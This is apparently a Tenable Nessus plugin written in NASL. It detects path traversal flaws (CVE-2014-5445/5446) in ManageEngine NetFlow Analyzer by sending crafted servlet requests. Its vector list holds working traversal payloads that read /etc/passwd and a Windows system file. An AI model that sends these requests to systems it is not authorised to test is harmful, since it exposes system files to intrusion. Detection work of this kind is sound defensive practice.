ManageEngine NetFlow Analyzer Multiple Path Traversal and File Access

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(81821);
  script_version("1.9");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2014-5445", "CVE-2014-5446");
  script_bugtraq_id(71404);

  script_name(english:"ManageEngine NetFlow Analyzer Multiple Path Traversal and File Access");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server is affected by directory traversal
vulnerabilities.");
  script_set_attribute(attribute:"description", value:
"ManageEngine NetFlow Analyzer prior to version 10 build 10250 is
affected by the following directory traversal vulnerabilities :

  - User input to the 'schFilePath' parameter to CVSServlet
    or CReportPDFServlet is not properly sanitized. A remote
    attacker, using a specially crafted request, can exploit
    this to gain access to files outside of a restricted
    path. (CVE-2014-5445)

  - User input to the 'filename' parameter to servlet
    DisplayChartPDF is not properly sanitized. A remote
    attacker, using a specially crafted request, can exploit
    this to gain access to files outside of a restricted
    path. (CVE-2014-5446)");
  # https://packetstormsecurity.com/files/129336/ManageEngine-Netflow-Analyzer-IT360-File-Download.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?9899d210");
  script_set_attribute(attribute:"see_also", value:"https://www.manageengine.com/products/netflow/service-packs.html");
  script_set_attribute(attribute:"solution", value:
"Update to version 10 build 10250 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:U/RC:ND");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2014/11/30");
  script_set_attribute(attribute:"patch_publication_date", value:"2015/01/23");
  script_set_attribute(attribute:"plugin_publication_date", value:"2015/03/16");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:manageengine:netflow_analyzer");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2015-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("manageengine_netflow_detect.nbin");
  script_require_keys("installed_sw/ManageEngine NetFlow Analyzer");
  script_require_ports("Services/www", 8080);

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");


app = "ManageEngine NetFlow Analyzer";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:8080);

install = get_single_install(
  app_name            : app,
  port                : port
);

dir = install['path'];
url = build_url(port:port,qs:dir);

vectors = make_list(
  "DisplayChartPDF?filename=../../../../Windows/WindowsShell.Manifest",
  "DisplayChartPDF?filename=../../../../etc/passwd",
  "CReportPDFServlet?pdf=true&schFilePath=\Windows\WindowsShell.Manifest",
  "CReportPDFServlet?pdf=true&schFilePath=/etc/passwd",
  "CSVServlet?schFilePath=\Windows\WindowsShell.Manifest",
  "CSVServlet?schFilePath=/etc/passwd"
);

verify = make_list(
  "<description>Windows Shell</description>",
  "root:",
  "<description>Windows Shell</description>",
  "root:",
  "<description>Windows Shell</description>",
  "root:"
);

vurl = NULL;
res  = NULL;
vuln = FALSE;
for(v = 0; v < max_index(vectors); v++)
{
  # We only try the first 2 tests unless thorough_tests is on
  if(v > 1 && !thorough_tests)
    break;

  item = dir+"netflow/servlet/"+vectors[v];
  vurl  = build_url(port:port, qs:item);
  reg   = verify[v];
  res   = http_send_recv3(
    port         : port,
    method       : "GET",
    item         : item,
    exit_on_fail : TRUE
  );

  if("200 OK" >< res[0] && res[2] =~ reg)
  {
    vuln = TRUE;
    break;
  }
}

if(vuln)
{

  file = "Windows\WindowsShell.Manifest";
  if("passwd" >< vurl)
    file = "/etc/passwd";

  security_report_v4(
    port     : port,
    file     : file,
    severity : SECURITY_WARNING,
    output   : res[2],
    request  : make_list(vurl)
  );
  exit(0);
}
else
  audit(AUDIT_WEB_APP_NOT_AFFECTED, app, url);